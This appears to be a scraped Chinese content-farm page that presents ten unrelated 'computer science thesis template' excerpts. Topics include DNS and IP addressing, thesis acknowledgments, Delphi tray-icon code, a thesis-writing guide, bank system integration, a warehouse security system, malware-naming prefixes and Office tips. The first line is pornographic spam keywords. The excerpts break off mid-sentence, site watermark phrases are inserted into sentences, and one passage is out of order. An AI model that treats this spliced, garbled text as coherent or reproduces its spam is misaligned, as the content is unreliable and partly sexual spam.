男女扒开双腿猛进入爽爽免费,男生下面伸进女人下面的视频,美女跪下吃男人的j8视频,一本色道在线久88在线观看片

計算機系畢業論文模板(10篇)

時間:2022-05-13 09:55:58

導言:作為寫作愛好者,不可錯過為您精心挑選的10篇計算機系畢業論文,它們將為您的寫作提供全新的視角,我們衷心期待您的閱讀,并希望這些內容能為您提供靈感和參考。

篇1

當前,在經濟全球化和全球信息化大潮中,人們不僅重視信息及其集成的作用,而且更加重視信息使用者對信息集成的反應和運用。互聯網上的域名已為越來越多的人們所關注,因此,了解域名及其對應的IP地址的關系,正確地配置域名服務器,就成為設立網站、使自己在Internet上注冊的域名得到體現的關鍵。

1.IP地址

IP(InternetProtocol)地址就是網絡協議地址,是分配給網絡節點的邏輯地址。這些網絡節點可以是網絡中的任何一臺主機,提供節點之間的交換信息服務。由于在Internet網絡中存在著大量的節點,為了能夠在網上找到這個節點,就必須給予標識。IP地址就是一種標識方法,它獨立于任何特定的網絡硬件和網絡配置,使用TCP/IP協議的網絡在發送或接收信息時先把數據打包,然后將目標IP地址翻譯成MAC(Medi-umAccessControl)硬件的物理地址,這樣就可以把數據包準確地發送或接收過來。

每個IP地址是由4個字節共32位組成,每字節之間使用小數點分隔,一般用十進制數字表示。每個IP地址包括兩個標識(ID),即網絡ID和宿主機ID,同一個物理網絡上的所有主機都用同一個網絡ID,而網絡上的每個服務器、路由器、計算機等都有一個主機ID。比如202.98.180.194即是云南省科學技術情報研究所的一個WWW服務器的IP地址。

2.因特網域名及結構

由于IP地址全是數字代碼,既不直觀又難于記憶,因特網在IP地址的基礎上,提供了一種面向用戶的主機名字,即域名。如istiy(InstituteofScientific&TechnicalInformationofYunnan)為我所(云南省科學技術情報研究所)的英文縮寫。即為我所在因特網上注冊的域名,而(主機名+域名)為我所DNS服務器的主機域名,對應的IP地址就是202.98.180.193。

3.域名解析系統DNS(DomainNameSystem)就是提供域名與IP地址相互映射的網絡服務。事實上,DNS是遍布于全世界的一個分布式數據庫。它主要負責控制整個數據庫中的部分段,每一段中的數據通過客戶/服務模式在整個網絡上均可存取。DNS的數據庫結構,同UNIX文件系統(或MSDOS文件系統)的結構很相似,整個數據庫(或文件系統)將根放在頂端,畫出來就像一顆倒轉的樹。在DNS中,根的名字以空字符串“”表示,DNS簡單地稱其為“根”(Root)或偶而稱之為“根域”(RootDomain),在UNIX文件系統中,根以反斜杠“/”表示,被稱為“根目錄”。如圖1所示.

圖1在DNS和UNIX文件系統中名稱的讀法

DNS數據庫“”

篇2

在這寶貴的兩年的研究生生活中,首先我要感謝我的導師——郭清順老師。“授人以魚,不如授之以漁”,郭老師正是這樣以言傳身教來教導著我們。

在這里,還要特別感謝我另外一位老師——道焰老師,她雷厲風行的性格、干凈利落的做事風格永遠是我學習的榜樣。無論是在學習上還是在生活,她總給在我最需要的時候給予幫助。

不得不提,王竹立老師,他慈父一樣的關懷曾使我感激不已。他使我懂得,踏踏實實做人,認認真真做事,應付別人就是應付自己。

感謝在研究生學習期間給我諸多教誨和幫助的信息與網絡中心的各位老師,感謝陳鐵老師、蘇順開老師、黃海老師、張汶老師給予我的指導和幫助!

感謝317實驗室的兄弟姐妹,是你們給我帶來了歡樂,是你們讓我知道了什么是手足情深。

感謝我的三位同學——陳頌麗、路昉碩和郭澤平,我們之間的友誼足以使我今生不忘。

感謝我的朋友——淦鑫、馬偉杰、王海洋、賀明威、林諸鳴、甘榮偉,感謝你們在我失意時給我鼓勵,在失落時給我支持,感謝你們和我一路走來,讓我在此過程中倍感溫暖!

相關的論文致謝樣本

·畢業論文致謝如何寫·課程設計論文致謝詞·博士生論文致謝范例

篇3

unitpro2;

interface

uses

。。。,Menus,shellAPI;//TNotifyIconData是定義在shellAPI單元的

{自定義消息,當小圖標捕捉到鼠標事件時Windows向回調函數發送此消息}

constWM_MYTRAYICONCALLBACK=WM_USER+1000;

。。。。

private

MyTrayIcon:TNotifyIconData;

procedureWMMyTrayIconCallBack(VarMsg:TMessage);messageWM_MYTRAYICONCALLBACK;

//托盤消息處理過程

procedureWMCommand(Varmsg:TWMCommand);messageWM_Command;

//處理托盤圖標的右鍵菜單事件

procedureMinimize(varmess:TWMNCLBUTTONDOWN);messageWM_NCLBUTTONDOWN;

//窗體最小化時的消息處理

。。。。。。。。

procedureTForm1.FormCreate(Sender:TObject);

begin

//將程序窗口樣式設為TOOL窗口,避免在任務欄上出現

SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);

end;

procedureTForm1.FormShow(Sender:TObject);

begin

//設置托盤

Icon.Handle:=LoadIcon(Hinstance,''''MAINICON'''');

MyTrayIcon.cbSize:=SizeOf(TNotifyIconData);//nid變量的字節數

MyTrayIcon.Wnd:=Handle;//主窗口句柄

MyTrayIcon.uID:=1;//內部標識,可設為任意數

MyTrayIcon.uFlags:=NIF_ICONorNIF_TIPorNIF_MESSAGE;//指明哪些字段有效

MyTrayIcon.uCallBackMessage:=WM_MYTRAYICONCALLBACK;//回調函數消息,將自定義托盤消息傳遞進去

MyTrayIcon.hIcon:=Application.Icon.Handle;//要加入的圖標句柄,可任意指定

StrCopy(MyTrayIcon.szTip,PChar(Caption));

Shell_NotifyIcon(NIM_ADD,@MyTrayIcon);

ShowWindow(Handle,sw_Hide);

//Visible:=False;//當程序啟動時就最小化在托盤區即Form.Create時啟用此語句

Application.ShowMainForm:=False;

SetForegroundWindow(Application.Handle);

end;

////消息過程實現

procedureTForm1.WMMyTrayIconCallBack(varMsg:TMessage);

varCursorPos:TPoint;

begin

caseMsg.LParamof

WM_LBUTTONDBLCLK://雙擊消息:彈出主窗口

begin

Visible:=notVisible;

Application.ShowMainForm:=Visible;

SetForegroundWindow(Application.Handle);

end;

WM_RBUTTONDOWN://鼠標右鍵:彈出菜單

begin

GetCursorPos(CursorPos);

{Popupmenu1.Popup(CursorPos.X,CursorPos.Y);

popupmen1里面就可以加入顯示主窗口、退出等功能。這個右鍵菜單可以是靜態的,如上面一句來彈出;也可以動態建立,如下面所示的方法:}

pm:=createpopupmenu;//建立一個Hmenu,pm:hmenu;

AppendMenu(pm,0,ord(''''A''''),''''關于....'''');//在指定的菜單里添加一個菜單項

AppendMenu(pm,0,Ord(''''B''''),''''&Exit'''');

//加入菜單事件---》處理WMCOMMAND消息即可

TrackPopupMenu(pm,Tpm_BottomAlignorTpm_RightAlign,CursorPos.x,CursorPos.y,0,handle,nil);

//在圖標上方顯示該彈出式菜單

end;

end;

end;

procedureTForm1.WMCommand(varmsg:TWMCommand);

begin

Casemsg.ItemIDof

Ord(''''A''''):showmessage(''''我的右鍵菜單!'''');

Ord(''''B''''):Self.close;//關閉程序主窗體

elseinherited;

end;

end;

procedureTform1.Minimize(varmess:TWMNCLBUTTONDOWN);//應用程序最小化消息處理

begin

ifMess.Hittest=htReducethen

Self.Hide

elseinherited;

end;

procedureTForm1.FormClose(Sender:TObject;varAction:TCloseAction);

var{程序被關閉時通知Windows去掉小圖標}

nid:TNotifyIconData;

begin

nid.cbSize:=sizeof(nid);//nid變量的字節數

nid.uID:=1;//內部標識,與加入小圖標時的數一致

篇4

寫作流程

自考計算機專業畢業論文有1年準備時間,寫作時間的分配主要取決于考生軟件開發的進度,如果考生開發的軟件很成熟,那末后續的寫作時間就較快,否則后面的寫作就會很被動。例如,一般會在每年7月份登記,9月底開題,期間開發軟件,到第二年2、3月就要完成初稿,再留一個月修改。

1、選題。選題首先要重要、有意義。例如有的考生選擇設計木馬程序,其本身是個病毒程序,這樣的程序只能帶來危害,實際生活中沒有意義,就不能用于做畢業論文。

2、開發軟件。開發軟件要與實際相結合。實際性非常重要,要自己能開發一個能實際運行的軟件。有的考生自己并沒有參與實際工作,只是看書是不行的。自己參與的可以是一個大的項目或課題組,論文中介紹完大的系統后,一定要把自己的工作量寫清楚。

3、寫論文。開發完就可以寫論文了,論文是個總結,但是不要寫成工作總結,一定要有主題,應體現自己的開發思想和論述自考本科計算機專業畢業論文寫作指南自考本科計算機專業畢業論文寫作指南。寫論文要達到一定字數,一般要3萬字。其中,編程代碼一般為2-3千行,這個不是機器自動生成的代碼,一定是自己寫的源代碼。

論文結構

計算機專業畢業論文一般有8個部分。1、概述或引言。這個部分相當于大綱,一般要求4-5千字,主要是對軟件開發背景,使用的軟件工具、環境,最后達到的效果,自我在里面的貢獻等;2、需求分析。軟件有哪些功能、模塊,用的什么工具等;3、設計方案和主要技術自考本科計算機專業畢業論文寫作指南文章自考本科計算機專業畢業論文寫作指南出自http://gkstk.com/article/wk-78500001321796.html,轉載請保留此鏈接!。主要是對里面每一部分的詳細論述,使用的是什么技術,為什么使用。詳細的模塊分析或遇到的難點是怎樣解決的等;4、具體的實現過程;5、測試。介紹自己開發軟件實際達到的效果;6、總結。介紹自己開發軟件的體會,或自己開發的成果使用情況,有什么評價,自己還有哪些不足,有什么需要改進的地方;7、致謝;8、參考文獻。另外,還可以加一個“附錄”部分。正文只能有一個中心,其他有重要參考價值的都可以放在附錄部分。例如有重要的代碼、圖表,涉及其他領域的知識,需要解釋的等都可以放在附錄部分。

案例1:《家裝工程預算軟件的開放》1、概述;2、需求分析;3、總體設計;4、數據庫設計;5、軟件功能的實現;6、結論及改進;7、致謝;8、參考文獻。

案例2:《經緯中天無線短信增值服務管理軟件的設計和開放》1、引言;2、需求分析;3、設計方案論證和主要技術介紹;4、系統設計;5、編碼實現;6、實際運行中出現的問題及相應的解決方案;7、結束語;8、致謝;9、參考文獻。

答辯程序

答辯現場會有專業老師組成的答辯小組,一般為5人左右,學生抽簽分配答辯組。答辯現場要考生做介紹和演示。考生需要提前準備幻燈片,一般不超過20張,為論文最核心部分的內容自考本科計算機專業畢業論文寫作指南論文

WiseMedia

考生結合幻燈片介紹論文,答辯小組老師會根據考生論文提出問題,考生要實事求是回答,最后答辯小組老師打分,求平均分給出考生論文成績。大部分考生都會達到優、良,個別考生沒有通過論文,主要有兩方面原因:1、論文并不是自己真正所做,用別人的軟件為自己所用,老師一提問就能發現破綻;2、考生論得太簡單,達不到工作量。這就需要考生踏踏實實地按照要求去作論文。

零碎提醒

論文的題目不要太大,一定要具體、實際,不能吹成通用的;

自考生考過全部課程后,最好能尋求實踐機會。可以去應聘公司,真正參與一個項目,一邊工作一邊寫論文;

論文不要上網抄,一定要自己做;

篇5

1引言

在接到開發中國人民銀行廣西區分行辦公信息服務系統任務的初期,我們既興奮又迷茫,興奮的是我們有機會從事一項意義重大的工作,迷茫的是在我們以往所進行的系統集成實例中找不到可以借鑒的經驗,而且從各種資料上也查不到類似的范例。盡管開始時我們還感到無從下手,但我們還是下決心完成這一艱巨的任務。在整項工程的建設過程中,我們的感覺仿佛是在黑暗中摸索前進,我們制定并否定了一個又一個方案,最后終于找到了一個看起來可行的方案,并勇敢地前進,終于在完成了任務的同時證明了這一方案的可行性。2需求分析

中國人民銀行廣西區分行辦公信息服務系統建設的目的是為行長和處長們辦公決策提供全面、可靠、快捷的信息服務。這一系統開發完成后,行長及處長們只需在計算機前就可調閱人行各業務處的數據和報表,并且還能查閱到廣西區情、廣西國民經濟綜合情況、電話號碼、飛機航班、列車時刻、最新文件及重大事件等信息。中國人民銀行辦公信息服務系統不僅要新開發許多公共信息服務系統,而且最重要的是要在人行廣西區分行二十多個業務處現有的和將來中國人民銀行總行配發的軟件系統基礎上進行,即要求新開發系統要完全具有人行廣西區分行原有各業務系統及將來總行配發下來的軟件系統功能。根據項目內容,我們可以將需求歸納成兩大類信息服務系統即業務信息類和公共信息類信息服務系統。

公共信息類信息服務系統包括電話號碼、列車時刻、飛機航班、最新公文及最新動態、廣西區情及綜合情況等這些公共的信息查詢系統,這類系統原來中國人民銀行廣西區分行內沒有,因此我們需要開發這些軟件系統,這一部分方案比較容易確定。業務信息是指中國人民銀行廣西區分行各業務處每日產生的大量數據及報表,這些數據及報表是各處的業務軟件系統處理的結果。業務信息類服務系統不僅要求功能齊全,而且要操作簡單,行長和處長們只需進行簡單的操作即可查閱到各業務處的數據和報表。因為各業務處的辦公信息服務系統的來源復雜,有的是從中國人民銀行總行各相對獨立的專業司配發下來的,有的是中國人民銀行廣西區分行科技處的同志開發的,有的是市縣支行同志開發的。同時這些軟件開發工具也不一,并多是.EXE文件,因此系統集成難度大,我們需要尋找到一個可行的系統集成方案。

3系統集成方案的制定

本項工程最突出的特點是要在完全利用原有系統的前提下為高層領導開發一個高水平的軟件系統,因此無論在設計思想上還是在技術上都需要對現有系統集成方法有所突破。為此,我們進行了多種嘗試,先后制定過以下四個方案。

(1)從分析和處理各原業務系統原始數據入手重現各種報表。

(2)截取打印機端口數據獲得原業務系統各種報表,并進行處理。

(3)將原業務系統數據轉換成可被EXCEL.識別的數據,用EXCEL來編制和管理報表系統。

(4)直接將原業務系統集成進我們的系統,利用原業務系統的查詢功能。

經過深入細致的調研和研究分析,我們選定了最后一個方案。直接將原業務系統集成進我們的系統,利用原業務系統的查詢功能。

4辦公信息服務系統總體設計方案

在分別確定了網絡系統方案,軟件系統及系統集成方案后,我們設計了系統總體設計方案。具體如下:

1)采用WINDOWSNT網絡結構,服務器為中文WINDOWSNT3.51,工作站采用中文WINDOWS3.2。

2)數據庫采用CLIENT/SERVER模式,數據庫服務器采用SQLSERVER6.5,LIENT端開發工具采POWERBUILDER5.0。

3)用POWERBUILDER5.0開發系統主框架及公共信息子系統。

4)將業務系統放在工作站硬盤上,讓其在工作站上運行,然后通過網絡來采集和傳送數據。

5)將各業務系統直接集成到辦公信息服務系統中。

6)將所有業務系統在每臺行長用機硬盤上都安裝一套,行長在本工作站上使用與各業務處相同的系統,查閱各種業務數據,業務數據通過網絡采集。

7)用直接對鍵盤緩沖區操作的方法,簡化行長對業務數據的查詢過程。

5系統數據流程

公共信息存放在網絡服務器,各工作站都可直接查詢。

從業務軟件上網,數據的安全性及軟件系統的可靠性三方面考慮,中國人民銀行廣西區分行辦公信息服務系統將業務軟件系統及所有的業務查詢系統軟件都放置在工作站硬盤上,業務數據查詢操作也只對工作站硬盤進行。在對業務數據處理方面網絡只承擔數據采集及傳遞的任務,業務數據的流程是定期從各業務處工作站拷貝到網絡上相應目錄,再由行長和處長們將其從網絡上取回到他們自己的工作站。

6需要解決的技術問題

采用這一方案,需要將用POWERBUILDER新開發出來的系統與原有的WINDOWS環境上運行的,EXE文件與在DOS下中文環境UCDOS上運行的.EXE文件及在DOS環境上foxbase下運行的.PRG文件,或在LOTUS123下運行的軟件集成在一起,并且采用了直接對鍵盤緩沖區進行操作的技術,因此就面臨著許多諸如內存不夠,地址及顯示方式沖突等錯綜復雜的問題,下面就介紹我們曾遇到的問題及解決問題的方法。

6.1網絡結構

由于各業務系統原來是在單用戶環境上開發的,沒有考慮網絡上運行的特點,因此無法直接上網,為此我們采用非集中式數據管理方法,將業務系統放在工作站硬盤上,讓其在工作站上運行,然后通過網絡來采集和傳送數據,這樣就解決了業務系統多個用戶同時使用,數據共享及網絡安全等問題。

6.2系統集成方案

因為中國人民銀行廣西區分行辦公信息服務系統覆蓋面很大,并要將原有五花八門的系統與新開發的系統集成在一起,在這些系統中有POWERBUILDER開的發,有用VISUALFOXPROFORWINDOWS及FOXPROFORWINDOWS開發的,也有在DOS及UCDOS下用FOXPRO2.5及FOXBASE開發的,還有在LOTUS123下運行的系統,同時還要考慮直接對鍵盤緩沖區進行操作時的可靠性,因此系統集成方案是本項目中的關鍵。我們曾經制定了兩種方案,第一種方案是系統一開始是運行在DOS環境上,先進入UCDOS,這樣用戶可正常運行DOS下的業務系統,當需要運行WINDOWS下的系統時,才退出UCDOS進入WINDOWS,用戶接著可使用WINDOWS下的業務軟件及公共信息軟件系統。第二種方案是,系統一開始就運行在WINDOWS環境,用戶可直接運行公共信息系統及WINDOWS環境下的業務軟件系統,當用戶需要使用DOS環境的系統時,再調用WINDOWS下的DOS窗口,進入UCDOS,然后運行業務軟件系統,運行完后退回WINDOWS。第一種方案比較簡單,但用戶界面不理想,操作步驟及系統反應時間較長。第二方案用戶界面良好,操作管理簡便,但由于系統疊加層次較多,因此需解決內存及其它資源限制及沖突等問題。經過努力我們成功地按第二方案實施,使得原來五花八門而顯得零亂的多個系統在WINDOWS下集成起來,形成一個有機的整體。6.3鍵盤緩沖區操作

因為辦公信息服務系統的使用者是人行廣西區分行的高層領導,因此除了要求界面美觀之外,還特別要求使用簡便。由于我們將各原有系統集成到我們的軟件中,而各原有系統一般功能繁多,并多需要輸入口令等繁瑣的步驟才能進入到領導們所需的查詢功能,因此我們采用預先將這些操作的字符序列自動寫入鍵盤緩沖區的辦法,將這些步驟“短路”,領導們在調用該業務系統時就直接進入到查詢功能。

在對DOS環境下運行的業務系統,我們采用直接向鍵盤緩沖區寫入字符序列,以簡化操作的方法。采用這種方法需要掌握寫入的時機,否則及容易造成不可預見性的結果以致死機。由于用戶將要在不同業務系統中來回選擇,因此鍵盤緩沖區操作程序在內存的駐留方式也是一個需要處理好的問題,否則會出現內存管理混亂等問題。經過反復嘗試我們找到了解決問題的方案,采用從WINDOWS調用DOS進程及UCDOS之后,調用鍵盤緩沖區操作程序,將操作序列寫入到鍵盤緩沖區,然后再調用業務系統,由系統自動按鍵盤緩沖區的字符序列進入業務系統的查詢操作,在退出業務系統時,由WINDOWS自動清除內存中的UCDOS及鍵盤緩沖區操作程序,使內存恢復到調用前原狀。在處理WINDOWS環境中運行的業務系統時,我們在進入系統前直接調用鍵盤緩沖區操作程序,將操作序列寫入到鍵盤緩沖區,然后調用業務系統,讓其自動按鍵盤緩沖區序列進入到其查詢功能。

6.4內存優化

采用這種集成方案,內存將要容納網絡驅動程序,WINDOWS,UCDOS,FOXBASE,業務系統,DOS解釋程序等,因此常常會遇到內存不足的問題,采用優化內存是解決內存不足的一種方法,我們采用DOS的MEMMAKER來優化內存,以解決基本內存不足的問題。

6.5WINDOWS與UCDOS協調工作

由于系統主框架是運行于WINDOWS環境,而業務系統許多是在DOS環境下UCDOS環境中運行,這就涉及中文WINDOWS與UCDOS協調工作的問題,如果先進UCDOS,然后執行WINDOWS,則會造成顯示方式沖突,系統無法使用,反之,先進WINDOWS然后再調用DOS進程,進入UCDOS,則使用順暢,并且在退出DOS進程后,內存沒有任何殘留。

6.6解決內存不足問題

采用直接集成方案,內存將要容納網絡驅動程序、WINDOWS、UCDOS、FOXBASE,業務系統,DOS解釋程序等,因此常常會遇到內存不足的問題,采用優化內存是解決內存不足的一種方法,但只能解決部分基本內存不足的問題,在許多情況下仍需采用別的方法。如某處業務軟件是在FOXBASE下運行的.FOX程序,該.FOX程序調用DOS命令,這樣內存中將要容納網絡驅動程序,中文WINDOWS3.2,DOS,UCDOS5.0,鍵盤操作駐留程序,FOXBASE,該.FOX及DOS命令解釋程序,從而造成內存不足。為解決這一問題,我們找來了反編譯程序,將.FOX文件反編譯成.PRG文件,然后用FOXPRO2.5,將其編譯成.EXE文件,這樣在調用它時,就無需執行FOXBASE,從而解決這種內存不足的問題。

7成果

在進行項目開發的過程中我們曾查閱許多資料,沒有人曾介紹用類似的方案進行系統集成的經驗。因此在項目開發完成前,我們一直擔心,最后的系統會不會是個“四不象”,但我們驚喜地發現,我們的系統不僅功能強大,性能可靠,而且各部分銜接自然,使用極其方便。這種系統集成方法是一種新穎的方法。為在大型企業及機構已有的軟件系統基礎上進行系統集成創造了一種巧妙簡截而又成功的解決方案。

9參考文獻

[1]PowerBuilder5.0技術參考手冊(套)北京市曉通網絡數據庫研究所

[2]Excel5forwindows大全,海洋出版社

篇6

一、引言

計算機技術、網絡技術、多媒體技術的成熟與發展,為倉儲管理自動化提供了強有力的技術支持。當前已有的系統其功能一般比較單一。如防盜系統只管防盜;倉儲管理系統只負責倉庫物品的數據處理;控制系統只完成簡單的環境控制功能(如開關門、開關燈、通風等)。將這些功能彼此獨立的系統有機結合起來,組成一個既能完成管理,又能實現實時監控的一體化自動管理系統具有重要的意義。我們所設計的這套倉庫安全管理綜合信息系統,是把門禁系統(IC卡開門)、環境監控系統、財務管理系統、合同管理系統、報警控制系統和數據處理系統結合在一起,充分利用了先進的計算機技術和控制手段。它既能通過音頻、視頻以及紅外線、雷達、震動等傳感器實時監控對所有分庫的開門、取物、檢修等操作,又能對防區內的警報信號立即處理或自動上報;它還是一個倉庫的數據中心,能完成人員、倉儲信息處理以及自動報時、鳴號、熄燈、開關高壓電網、布撤防等控制。另外,該系統還與財務管理系統、合同管理系統集成在一起構成一個安全、主動和綜合的倉庫管理系統。

二、系統的基本要求

目前的倉庫管理系統一般技術比較落后、性能較差且很不完備,有的甚至沒有安全防盜功能。即使有安全防盜功能其性能一般也不太理想,人工干涉多,操作使用不方便,有的還故障率高而不實用。隨著社會信息交流的日益加強和信息量的集聚增加,再加上盜竊活動的團伙化、智能化和高技術化等特點,倉儲管理部門越來越需要一套低成本、高性能、方便使用、功能完善的綜合倉庫監控管理系統。要求它具有立即捕捉警情并提供警情發生地的有關信息(如地圖、位置、類型、程度、平面圖、地形圖、結構圖以及警情發生地的倉儲情況等),計算機系統馬上對警情做出反應,迅速通知值班人員和倉庫管理員(通過聲光等信號形式),可能的話還可立即對警情發生地實施控制(如接通高壓電網、自動封閉門窗、拉響警笛、打開探照燈等)。對重要的警情要立即通過計算機網絡或內部電話自動交換網上報上級主管部門。特別是要求系統能完整記錄從發生警情到上報,進而做出處理的全過程,以便于事后分析處理。

倉庫大門的鑰匙管理和開門方法應采用較科學的電子識別手段(如磁卡、IC卡)進行控制,倉庫內外的溫度和濕度用溫濕度傳感器自動測量和記錄。發現越限時報警通知管理員,以便于管理員及時采取通風降溫和除濕等方法,確保倉儲物品的安全。除此之外,系統還可以對倉儲物品的出入庫、物品訂購合同、財務信息以及人員信息等內容進行統一的管理,以提高辦公自動化的程度。

三、系統功能描述

1.定時自動測量和記錄濕度和溫度,并能夠觸發越界報警;

2.可掛接多種類型的防區,每個防區可以是震動、雷達、紅外線等類型的一種;

3.系統對每個警情立即反應,指出地點、位置等,給出警情所在地的結構圖,并能自動啟動警號、燈光等報警設備,必要時可立即自動撥號上報上級主管部門;

4.雙IC卡開門,并自動記錄開門時間,持卡者身份等信息;

5.對鑰匙統一管理,記錄取鑰匙的時間,人員等信息;

6.可以進行人員管理、倉儲管理、財務管理、合同管理等內容;

7.自動記錄管理員交接班日志,對倉庫的操作也均有記錄;

8.可根據綜合條件檢索歷史記錄,并可打印輸出。

9.對人員的情況、密碼(管理員)、防區所接傳感器參數均可隨時更新。

綜上所述,系統所完成的功能是比較全面的。其中以處理警情的優先級最高,一旦發生警報,應立即停止其它事務性處理工作,轉為響應處理警報。由于這種系統具有一定的技術先進性、新穎性和實用性,可以對倉儲信息進行有效的安全管理。

四、系統的設計結構

系統實現采用結構化和面向對象的設計技術,硬件結合了單板機廉價、穩定的優點和PC機大容量、高速度、界面友好的特點,將整個系統分成功能相對獨立的若干子模塊,使系統結構層次分明,結構嚴謹,極易于維護和使用。由于系統采用結構化設計,自頂向下逐步分解精化而成,由多個模塊組成,因此可按散件組裝法則根據現場實際需求,靈活取舍組合系統各組成部件。對于一些特殊要求也可以采用模塊化形式方便地實現其功能的擴展,從而形成由低成本、簡單功能到高投入、復雜功能不同層次的系列產品,但無論怎樣組合均不會降低系統整體性能。系統的邏輯功能結構如圖1所示。

圖1系統功能邏輯結構圖(圖略)

五、操作使用簡介

系統運行于WINDOWS環境,其界面同時具有字符、圖形、動畫、菜單命令等各種輸入輸出格式,友好且直觀形象,再加上采用了WINDOWS所特有的聯機提示和后援幫助作輔助手段,使系統的使用簡單易學,非常便于普及推廣。整個操作可分為四大部分:

1.利用按鈕完成各種控制功能;

2.圖形操作界面,利用鼠標代替鍵盤輸入,快速直觀,一學就會;

3.對記錄的數據進行綜合條件的檢索,查詢并打印輸出,可用鼠標選擇查詢條件;

篇7

(一)木馬病毒、黑客病毒木馬病毒其前綴是:Trojan,黑客病毒前綴名一般為Hack。木馬病毒的公有特性是通過網絡或者系統漏洞進入用戶的系統并隱藏,然后向外界泄露用戶的信息,而黑客病毒則有一個可視的界面,能對用戶的電腦進行遠程控制。木馬、黑客病毒往往是成對出現的,即木馬病毒負責侵入用戶的電腦,而黑客病毒則會通過該木馬病毒來進行控制。現在這兩種類型都越來越趨向于整合了。一般的木馬如QQ消息尾巴木馬Trojan.QQ3344,有大家可能遇見比較多的針對網絡游戲的木馬病毒如Trojan.LMir.PSW.60。這里補充一點,病毒名中有PSW或者什么PWD之類的一般都表示這個病毒有盜取密碼的功能(這些字母一般都為密碼的英文password的縮寫)一些黑客程序如:網絡梟雄(Hack.Nether.C1ient)等。

(二)宏病毒其實宏病毒是也是腳本病毒的一種,由于它的特殊性,因此在這里單獨算成一類。宏病毒的前綴是:Macro,第二前綴是:Word、Word97、Excel、Excet97(也許還有別的)其中之一。凡是只感染WORD97及以前版本WORD文檔的病毒采用Word97作為第二前綴,格式是:Macro.Word97;凡是只感染WORD97以后版本WORD文檔的病毒采用Word作為第二前綴,格式是:Macro.Word;凡是只感染EXCEL97及以前版本EXCEL文檔的病毒采用Excel97作為第二前綴,格式是:

(三)腳本病毒腳本病毒的前綴是:Script。腳本病毒的公有特性是使用腳本語言編寫,通過網頁進行的傳播的病毒,如紅色代碼(Script.Redlof)可不是我們的老大代碼兄哦。腳本病毒還會有如下前綴:VBS、js(表明是何種腳本編寫的),如歡樂時光(VBS.Happytime)、十四日(Js.Fortnight.C.S)等。推薦閱讀:遠程開放教育軟件工程專業畢業論文

Macro.Excel97;凡是只感染EXCEL97以后版本EXCEL文檔的病毒采用Excel作為第二前綴,格式是:Macro.Excel,依此類推。

(四)后門病毒后門病毒的前綴是:Backdoor。該類病毒的公有特性是通過網絡傳播,給系統開后門,給用戶電腦帶來安全隱患。如很多朋友遇到過的IRC后f]Backdoor.IRCBot。

(五)破壞性程序病毒破壞性程序病毒的前綴是:Harm。這類病毒的公有特性是本身具有好看的圖標來誘惑用戶點擊,當用戶點擊這類病毒時,病毒便會直接對用戶計算機產生破壞。如:格式化c盤(Harm.formatC.f)、殺手命令(Harm.Command.Killer)等。

篇8

1.1 計算機知識儲備量不足

目前,各高校都開設有計算機課程,但仍不能滿足本科畢業論文實踐的需求。對于本科畢業論文,主要會用到Office辦公軟件中的Word、Excel、PowerPoint(PPT,Internet文獻數據庫,以及文獻管理軟件等。雖然各高校一般都開設有計算機基礎類課程,介紹MicrosoftWindows、Office軟件、Internet的使用,但所授內容還不能滿足本科畢業論文實踐的需要。在畢業論文寫作時,畢業生往往感到Word文檔的編排非常的麻煩,需要花費相當的精力和時間,也給指導老師增添了不少指導負擔。同樣,Excel、PowerPoint、Internet的使用也不盡如人意。除此之外,還有部分軟件知識在已有課程中完全沒有涉及,如文獻管理軟件的使用等。

1.2 計算機硬件設施不足

計算機資源不足嚴重影響畢業論文的撰寫。學生可利用的計算機資源主要有三種:自有計算機,學校計算機,網吧計算機。對自有計算機而言,雖有調查表明大學生電腦的擁有率已達到50%左右,但對于大多數來自農村的大學生而言,他們的電腦擁有率依然很低。對學校計算機而言,雖然各學校都建立有計算機房,但相比于龐大的學生群體,學校計算機依然不能滿足學生需求,而且學校計算機主要用于教學使用,學生的使用有時間限制。在這種情況下,許多學生不得不求助于網吧,而網吧一般不安裝OFFICE辦公軟件,更不會安裝如AutoCAD這種專業軟件,也無法訪問學校圖書館數據庫。與此同時,畢業論文的撰寫時間比較集中,往往在一兩個月內完成,特別是臨近答辯的幾天里,幾千畢業生需要計算機修訂論文,計算機的緊張程度可想而知。因而,學生在畢業論文撰寫過程中,常遇到沒有計算機可以使用的情況。

1.3 計算機使用缺乏指導

學生進行計算機操作時,缺乏足夠的指導。由于高校擴招,學生數量急劇增大而教師數量增加緩慢,導致師生比偏高,嚴重影響教學質量。作為公共基礎課程,幾千名學生的教學工作,往往由十多名教師來完成,師生比甚至高達1:250,很難說學生可以充分得到教師的指導在畢業論文進行階段,也同樣遇到師生比過高的問題,經常遇到一個老師同時指導十幾名學生的現象,教師指導任務重,很難保證指導質量。

2.本科畢業論文實踐中計算機應用需求

2.1 WORD大型文檔編排

畢業論文是一種較長的文檔,編排難度相對較大般而言,畢業論文字數要求5000字以上,頁數一般在10頁以上,編排的版式幾乎與出版社正規出版的書籍類似。這對于平時很少利用Word軟件的學生而言,具有很大的難度,需要重新學習Word的編排技巧。在論文寫作過程中,也容易出現論文排版上的各種問題。

目前,文檔編排軟件很多,但一般采用Mi-crosoftWord完成.對于Word排版問題,應著重解決以下幾方面的問題:①頁面設置;②文字格式的設置;③樣式的應用;④分節的設置;⑤頁眉頁腳的設置;⑥圖表的繪制;⑦公式的錄入;⑧自動生成目錄。

2.2 Excel表、圖與統計分析

對于大多數的畢業論文,都會涉及插入圖表,以及數據的統計分析。除文科類論文較少涉及圖表知識外,理工科、農科、醫學等學科的大部分畢業論文,都會涉及圖表的制作以及數據的統計分析。在畢業論文寫作過程中,部分學生對圖表的制作很是陌生,甚至不知道標準的圖表要求是什么,因而做出來的圖表不僅不美觀,而且也不符合要求。Excel還具有統計分析功能,不僅方便快捷,而且準確可靠,但不少同學不知道Excel具有統計學功能,更不會使用。他們往往采用手算的方法來進行統計分析,耗時耗力,而且還容易出錯。

圖表與統計分析,不僅可以采用Excel,也可以采用更為專業的軟件,如Origin制圖、Sigmaplot制圖、SAS統計分析、SPSS統計分析等,但以Excel更為方便。對于Execl圖表與統計,應著重解決以下幾方面的問題:①Excel表格的制作(特別是三線表的制作);②Excel圖表的制作;③Excel函數與公式;④Excel統計分析工具。除此之外,也可以介紹Origin、Sigmaplot、SAS、SPSS等軟件的使用。

